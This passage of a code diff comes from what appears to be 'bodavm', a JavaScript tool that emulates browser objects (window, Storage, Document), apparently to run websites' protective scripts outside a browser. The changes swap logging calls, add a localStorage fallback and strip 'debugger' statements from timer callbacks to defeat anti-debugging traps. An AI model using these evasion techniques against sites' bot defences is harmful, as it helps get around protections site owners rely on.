window } bodavm.envFunc.window_top_get = function window_top_get() { - console.log(`window_top_get `, `window`); + console.log_copy(`window_top_get `, `window`); return window } bodavm.envFunc.window_name_get = function window_name_get() { let name = bodavm.memory.window['name'] - console.log(`window_name_get `, `name ->${name}`); + console.log_copy(`window_name_get `, `name ->${name}`); return name } bodavm.envFunc.window_name_set = function window_name_set() { let name = arguments[0] bodavm.memory.window['name'] = name - console.log(`window_name_set `, `name ->${name}`); + console.log_copy(`window_name_set `, `name ->${name}`); return name } bodavm.envFunc.window_setTimeout = function window_setTimeout() { @@ -2124,7 +2260,10 @@ for (let i = 2; i < length; i++) { argList.push(arguments[i]); } - console.log(`window_setTimeout `, `func->${func} `, `delay->${delay} `, `argList->${argList} `); + + func=func.toString().replace(/debugger/, "").replace(/function ()/, "function xxx") + + console.log_copy(`window_setTimeout `, `func->${func} `, `delay->${delay} `, `argList->${argList} `); bodavm.memory.globalInit.timeoutID += 1 let event = { "callback": func, @@ -2144,7 +2283,7 @@ } bodavm.envFunc.window_clearTimeout = function window_clearTimeout() { let id = arguments[0] - console.log(`window_clearTimeout `, `${id} `) + console.log_copy(`window_clearTimeout `, `${id} `) bodavm.memory.asyncEvent.setTimeout.forEach(function (item, index, arr) { // if(bodavm.config.isdebug){debugger}; @@ -2157,7 +2296,7 @@ } bodavm.envFunc.window_clearInterval = function window_clearInterval() { let id = arguments[0] - console.log(`window_clearInterval `, `${id} `) + console.log_copy(`window_clearInterval `, `${id} `) bodavm.memory.asyncEvent.setTimeout.forEach(function (item, index, arr) { // if(bodavm.config.isdebug){debugger}; if (item["timeoutID"] == id) { @@ -2177,7 +2316,9 @@ for (let i = 2; i < length; i++) { argList.push(arguments[i]); } - console.log(`window_setInterval `, `func->${func.toString().length>50?func.toString().substr(0,50)+'...':func} `, `delay->${delay} `, `argList->${argList} `); + func=func.toString().replace(/debugger/, "").replace(/function ()/, "function xxx") + + console.log_copy(`window_setInterval `, `func->${func.toString().length>50?func.toString().substr(0,50)+'...':func} `, `delay->${delay} `, `argList->${argList} `); bodavm.memory.globalInit.timeoutID += 1 let event = { @@ -2200,29 +2341,38 @@ //Storage - bodavm.envFunc.Storage_setItem = function Storage_getItem() { + bodavm.envFunc.Storage_setItem = function Storage_setItem() { if (bodavm.config.isdebug) { debugger } let keyName = arguments[0]; let keyValue = arguments[1]; this[keyName] = keyValue - console.log(`Storage_setItem `, `keyName->${keyName} `, `keyValue->${keyValue} `) + console.log_copy(`Storage_setItem `, `keyName->${keyName} `, `keyValue->${keyValue} `) } bodavm.envFunc.Storage_getItem = function Storage_getItem() { if (bodavm.config.isdebug) { debugger } let key = arguments[0] + let item = this[key] + if (!item){ + _item=bodavm.memory.localStorage[key] + if (_item){ + console.log_copy(`Storage_getItem `, `key->${key} 存在于bodavm.memory.localStorage中直接取值`, `item->${_item} `) - console.log(`Storage_getItem `, `key->${key} `, `item->${item} `) + // item=_item + return _item + } + } + console.log_copy(`Storage_getItem `, `key->${key} `, `item->${item} `) return item } bodavm.envFunc.Storage_removeItem = function Storage_removeItem() { if (bodavm.config.isdebug) { debugger } let key = arguments[0] - console.log(`Storage_removeItem `, `key->${key} `); + console.log_copy(`Storage_removeItem `, `key->${key} `); delete this[key] @@ -2232,7 +2382,7 @@ // if(bodavm.config.isdebug){debugger};; let index = arguments[0]; let i = 0; - console.log(`Storage_key `, `index${index} `) + console.log_copy(`Storage_key `, `index${index} `) for (var key in this) { if (key =='hasOwnProperty_bo'){continue} @@ -2250,7 +2400,7 @@ debugger // this = {} // this.__proto__=Storage.prototype - console.log(`Storage_clear `, `{} `); + console.log_copy(`Storage_clear `, `{} `); } bodavm.envFunc.Storage_length_get = function Storage_length_get() { @@ -2262,183 +2412,198 @@ i++ } - console.log(`Storage_length_get `, `length->${i} `); + console.log_copy(`Storage_length_get `, `length->${i} `); return i; } //Document - bodavm.envFunc.Document_onbeforecut_get = function Document_onbeforecut_get() { console.log("Document_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforematch_get = function Document_onbeforematch_get() { console.log("Document_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforexrselect_get = function Document_onbeforexrselect_get() { console.log("Document_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onblur_get = function Document_onblur_get() { console.log("Document_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncancel_get = function Document_oncancel_get() { console.log("Document_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncanplay_get = function Document_oncanplay_get() { console.log("Document_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlVersion_get = function Document_xmlVersion_get() { console.log("Document_xmlVersion_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlStandalone_get = function Document_xmlStandalone_get() { console.log("Document_xmlStandalone_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_xmlEncoding_get = function Document_xmlEncoding_get() { console.log("Document_xmlEncoding_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitVisibilityState_get = function Document_webkitVisibilityState_get() { console.log("Document_webkitVisibilityState_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitIsFullScreen_get = function Document_webkitIsFullScreen_get() { console.log("Document_webkitIsFullScreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitHidden_get = function Document_webkitHidden_get() { console.log("Document_webkitHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitFullscreenEnabled_get = function Document_webkitFullscreenEnabled_get() { console.log("Document_webkitFullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitFullscreenElement_get = function Document_webkitFullscreenElement_get() { console.log("Document_webkitFullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_webkitCurrentFullScreenElement_get = function Document_webkitCurrentFullScreenElement_get() { console.log("Document_webkitCurrentFullScreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforecut_get = function Document_onbeforecut_get() { console.log_copy("Document_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforematch_get = function Document_onbeforematch_get() { console.log_copy("Document_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onbeforexrselect_get = function Document_onbeforexrselect_get() { console.log_copy("Document_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onblur_get = function Document_onblur_get() { console.log_copy("Document_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncancel_get = function Document_oncancel_get() { console.log_copy("Document_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_oncanplay_get = function Document_oncanplay_get() { console.log_copy("Document_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlVersion_get = function Document_xmlVersion_get() { console.log_copy("Document_xmlVersion_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlStandalone_get = function Document_xmlStandalone_get() { console.log_copy("Document_xmlStandalone_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_xmlEncoding_get = function Document_xmlEncoding_get() { console.log_copy("Document_xmlEncoding_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitVisibilityState_get = function Document_webkitVisibilityState_get() { console.log_copy("Document_webkitVisibilityState_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitIsFullScreen_get = function Document_webkitIsFullScreen_get() { console.log_copy("Document_webkitIsFullScreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitHidden_get = function Document_webkitHidden_get() { console.log_copy("Document_webkitHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitFullscreenEnabled_get = function Document_webkitFullscreenEnabled_get() { console.log_copy("Document_webkitFullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitFullscreenElement_get = function Document_webkitFullscreenElement_get() { console.log_copy("Document_webkitFullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_webkitCurrentFullScreenElement_get = function Document_webkitCurrentFullScreenElement_get() { console.log_copy("Document_webkitCurrentFullScreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_wasDiscarded_get = function Document_wasDiscarded_get() { - console.log("Document_wasDiscarded_get ", false, "!!!!!!!!!未完善!!!!!!!!!!!!") + console.log_copy("Document_wasDiscarded_get ", false, "!!!!!!!!!未完善!!!!!!!!!!!!") return false } - bodavm.envFunc.Document_vlinkColor_get = function Document_vlinkColor_get() { console.log("Document_vlinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_vlinkColor_get = function Document_vlinkColor_get() { console.log_copy("Document_vlinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_visibilityState_get = function Document_visibilityState_get() { - console.log("Document_visibilityState_get ", 'visible',) + console.log_copy("Document_visibilityState_get ", 'visible',) return 'visible' } - bodavm.envFunc.Document_timeline_get = function Document_timeline_get() { console.log("Document_timeline_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_styleSheets_get = function Document_styleSheets_get() { console.log("Document_styleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_rootElement_get = function Document_rootElement_get() { console.log("Document_rootElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pointerLockElement_get = function Document_pointerLockElement_get() { console.log("Document_pointerLockElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_plugins_get = function Document_plugins_get() { console.log("Document_plugins_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pictureInPictureEnabled_get = function Document_pictureInPictureEnabled_get() { console.log("Document_pictureInPictureEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_pictureInPictureElement_get = function Document_pictureInPictureElement_get() { console.log("Document_pictureInPictureElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwheel_get = function Document_onwheel_get() { console.log("Document_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkittransitionend_get = function Document_onwebkittransitionend_get() { console.log("Document_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitfullscreenerror_get = function Document_onwebkitfullscreenerror_get() { console.log("Document_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitfullscreenchange_get = function Document_onwebkitfullscreenchange_get() { console.log("Document_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationstart_get = function Document_onwebkitanimationstart_get() { console.log("Document_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationiteration_get = function Document_onwebkitanimationiteration_get() { console.log("Document_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwebkitanimationend_get = function Document_onwebkitanimationend_get() { console.log("Document_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onwaiting_get = function Document_onwaiting_get() { console.log("Document_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onvolumechange_get = function Document_onvolumechange_get() { console.log("Document_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onvisibilitychange_get = function Document_onvisibilitychange_get() { console.log("Document_onvisibilitychange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionstart_get = function Document_ontransitionstart_get() { console.log("Document_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionrun_get = function Document_ontransitionrun_get() { console.log("Document_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitionend_get = function Document_ontransitionend_get() { console.log("Document_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontransitioncancel_get = function Document_ontransitioncancel_get() { console.log("Document_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontoggle_get = function Document_ontoggle_get() { console.log("Document_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_ontimeupdate_get = function Document_ontimeupdate_get() { console.log("Document_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsuspend_get = function Document_onsuspend_get() { console.log("Document_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsubmit_get = function Document_onsubmit_get() { console.log("Document_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onstalled_get = function Document_onstalled_get() { console.log("Document_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onslotchange_get = function Document_onslotchange_get() { console.log("Document_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onselectstart_get = function Document_onselectstart_get() { console.log("Document_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onselect_get = function Document_onselect_get() { console.log("Document_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onseeking_get = function Document_onseeking_get() { console.log("Document_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onseeked_get = function Document_onseeked_get() { console.log("Document_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsecuritypolicyviolation_get = function Document_onsecuritypolicyviolation_get() { console.log("Document_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onsearch_get = function Document_onsearch_get() { console.log("Document_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onscroll_get = function Document_onscroll_get() { console.log("Document_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onresume_get = function Document_onresume_get() { console.log("Document_onresume_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onresize_get = function Document_onresize_get() { console.log("Document_onresize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onreset_get = function Document_onreset_get() { console.log("Document_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onreadystatechange_get = function Document_onreadystatechange_get() { console.log("Document_onreadystatechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_activeElement_get = function Document_activeElement_get() { console.log("Document_activeElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_adoptedStyleSheets_get = function Document_adoptedStyleSheets_get() { console.log("Document_adoptedStyleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_alinkColor_get = function Document_alinkColor_get() { console.log("Document_alinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_timeline_get = function Document_timeline_get() { console.log_copy("Document_timeline_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_styleSheets_get = function Document_styleSheets_get() { console.log_copy("Document_styleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_rootElement_get = function Document_rootElement_get() { console.log_copy("Document_rootElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pointerLockElement_get = function Document_pointerLockElement_get() { console.log_copy("Document_pointerLockElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_plugins_get = function Document_plugins_get() { console.log_copy("Document_plugins_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pictureInPictureEnabled_get = function Document_pictureInPictureEnabled_get() { console.log_copy("Document_pictureInPictureEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_pictureInPictureElement_get = function Document_pictureInPictureElement_get() { console.log_copy("Document_pictureInPictureElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwheel_get = function Document_onwheel_get() { console.log_copy("Document_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkittransitionend_get = function Document_onwebkittransitionend_get() { console.log_copy("Document_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitfullscreenerror_get = function Document_onwebkitfullscreenerror_get() { console.log_copy("Document_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitfullscreenchange_get = function Document_onwebkitfullscreenchange_get() { console.log_copy("Document_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationstart_get = function Document_onwebkitanimationstart_get() { console.log_copy("Document_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationiteration_get = function Document_onwebkitanimationiteration_get() { console.log_copy("Document_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwebkitanimationend_get = function Document_onwebkitanimationend_get() { console.log_copy("Document_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onwaiting_get = function Document_onwaiting_get() { console.log_copy("Document_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onvolumechange_get = function Document_onvolumechange_get() { console.log_copy("Document_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onvisibilitychange_get = function Document_onvisibilitychange_get() { console.log_copy("Document_onvisibilitychange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionstart_get = function Document_ontransitionstart_get() { console.log_copy("Document_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionrun_get = function Document_ontransitionrun_get() { console.log_copy("Document_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitionend_get = function Document_ontransitionend_get() { console.log_copy("Document_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontransitioncancel_get = function Document_ontransitioncancel_get() { console.log_copy("Document_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontoggle_get = function Document_ontoggle_get() { console.log_copy("Document_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_ontimeupdate_get = function Document_ontimeupdate_get() { console.log_copy("Document_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsuspend_get = function Document_onsuspend_get() { console.log_copy("Document_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsubmit_get = function Document_onsubmit_get() { console.log_copy("Document_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onstalled_get = function Document_onstalled_get() { console.log_copy("Document_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onslotchange_get = function Document_onslotchange_get() { console.log_copy("Document_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onselectstart_get = function Document_onselectstart_get() { console.log_copy("Document_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onselect_get = function Document_onselect_get() { console.log_copy("Document_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onseeking_get = function Document_onseeking_get() { console.log_copy("Document_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onseeked_get = function Document_onseeked_get() { console.log_copy("Document_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsecuritypolicyviolation_get = function Document_onsecuritypolicyviolation_get() { console.log_copy("Document_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onsearch_get = function Document_onsearch_get() { console.log_copy("Document_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onscroll_get = function Document_onscroll_get() { console.log_copy("Document_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onresume_get = function Document_onresume_get() { console.log_copy("Document_onresume_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onresize_get = function Document_onresize_get() { console.log_copy("Document_onresize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onreset_get = function Document_onreset_get() { console.log_copy("Document_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_onreadystatechange_get = function Document_onreadystatechange_get() { console.log_copy("Document_onreadystatechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_activeElement_get = function Document_activeElement_get() { console.log_copy("Document_activeElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_adoptedStyleSheets_get = function Document_adoptedStyleSheets_get() { console.log_copy("Document_adoptedStyleSheets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_alinkColor_get = function Document_alinkColor_get() { console.log_copy("Document_alinkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_anchors_get = function Document_anchors_get() { console.log("Document_anchors_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_applets_get = function Document_applets_get() { console.log("Document_applets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_bgColor_get = function Document_bgColor_get() { console.log("Document_bgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_childElementCount_get = function Document_childElementCount_get() { console.log("Document_childElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_children_get = function Document_children_get() { console.log("Document_children_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_anchors_get = function Document_anchors_get() { console.log_copy("Document_anchors_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_applets_get = function Document_applets_get() { console.log_copy("Document_applets_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_bgColor_get = function Document_bgColor_get() { console.log_copy("Document_bgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_childElementCount_get = function Document_childElementCount_get() { console.log_copy("Document_childElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Document_children_get = function Document_children_get() { console.log_copy("Document_children_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Document_currentScript_get = function Document_currentScript_get() { // debugger let res=this._boarg.currentScript - console.log("Document_currentScript_get ", `-> res ->${res}`, "!!!!!!!!!未完善!!!!!!!!!!!!") + console.log_copy("Document_currentScript_get ", `-> res ->${res}`, "!!!!!!!!!未完善!!!!!!!!!!!!") return res } - bodavm.envFunc.Document_defaultView_get = function Document_defaultView_get() { console.log("Document_defaultView_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_doctype_get = function Document_doctype_get() { console.log("Document_doctype_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_embeds_get = function Document_embeds_get() { console.log("Document_embeds_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_featurePolicy_get = function Document_featurePolicy_get() { console.log("Document_featurePolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fgColor_get = function Document_fgColor_get() { console.log("Document_fgColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_firstElementChild_get = function Document_firstElementChild_get() { console.log("Document_firstElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fonts_get = function Document_fonts_get() { console.log("Document_fonts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fragmentDirective_get = function Document_fragmentDirective_get() { console.log("Document_fragmentDirective_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreen_get = function Document_fullscreen_get() { console.log("Document_fullscreen_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreenElement_get = function Document_fullscreenElement_get() { console.log("Document_fullscreenElement_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_fullscreenEnabled_get = function Document_fullscreenEnabled_get() { console.log("Document_fullscreenEnabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_lastElementChild_get = function Document_lastElementChild_get() { console.log("Document_lastElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_linkColor_get = function Document_linkColor_get() { console.log("Document_linkColor_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_links_get = function Document_links_get() { console.log("Document_links_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onabort_get = function Document_onabort_get() { console.log("Document_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationend_get = function Document_onanimationend_get() { console.log("Document_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationiteration_get = function Document_onanimationiteration_get() { console.log("Document_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onanimationstart_get = function Document_onanimationstart_get() { console.log("Document_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onauxclick_get = function Document_onauxclick_get() { console.log("Document_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforecopy_get = function Document_onbeforecopy_get() { console.log("Document_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_onbeforepaste_get = function Document_onbeforepaste_get() { console.log("Document_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Document_oncanplaythrough_get = function Document_oncanplaythrough_get() { console.log("Document_oncanplaythrough_get ", undefined, 